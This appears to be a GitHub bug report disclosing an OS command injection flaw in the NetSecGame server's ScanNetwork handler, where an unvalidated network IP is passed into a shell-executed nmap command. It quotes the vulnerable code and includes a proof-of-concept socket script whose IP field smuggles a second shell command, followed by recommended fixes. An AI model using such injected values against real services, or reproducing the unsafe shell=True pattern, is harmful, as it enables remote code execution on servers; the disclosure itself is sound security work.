Skip to content

[Bug]: OS command injection in RealWorldNetSecGame ScanNetwork allows agent-triggered RCE #482

@verovaleros

Description

@verovaleros

Bug Description

RealWorldNetSecGame._execute_scan_network_action_real_world() builds a shell command by interpolating action.parameters['target_network'] directly into an f-string and executes it with subprocess.run(..., shell=True).

Relevant code in netsecgame/game/worlds/RealWorldNetSecGame.py:54-55:

command = f"nmap -sn {action.parameters['target_network']} -oX {nmap_file_xml}"
_ = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)

The target_network value is parsed as Network (Action.from_dict), but Network.ip is an unvalidated string in netsecgame/game_components.py:128-137 and __str__ returns "{self.ip}/{self.mask}". This allows command separators in ip to flow into the shell command.

This enables agent-controlled OS command execution on the server process (RCE).

Secondary hardening gap that amplifies impact: _dispatch_action in netsecgame/game/coordinator.py:285-298 routes all game action types through _process_game_action without role-based action authorization checks.

Steps to Reproduce

  1. Start the game server with the RealWorldNetSecGame world:
python3 -m netsecgame.game.worlds.RealWorldNetSecGame \
  --task_config=./examples/example_task_configuration.yaml \
  --game_port=9000
  1. Connect an agent and send crafted ScanNetwork input:
import socket, json

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 9000))

join = {
    "action_type": "JoinGame",
    "parameters": {
        "agent_info": {"name": "RogueAgent", "role": "Attacker"}
    }
}
sock.sendall(json.dumps(join).encode())
sock.recv(8192)

exploit = {
    "action_type": "ScanNetwork",
    "parameters": {
        "source_host": {"ip": "213.47.23.195"},
        "target_network": {
            "ip": "127.0.0.1; id > /tmp/pwned #",
            "mask": 24
        }
    }
}
sock.sendall(json.dumps(exploit).encode())
sock.recv(8192)
  1. On the server, check /tmp/pwned.

Expected Behavior

  1. Network.ip should be validated (same security posture as IP.__post_init__).
  2. subprocess.run should avoid shell=True and pass arguments as a list.
  3. Coordinator should enforce role-based action authorization.

Version

0.1.0

Installation / Deployment Method

Running locally from source

Metadata

Metadata

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Relationships

None yet

Development

No branches or pull requests

Issue actions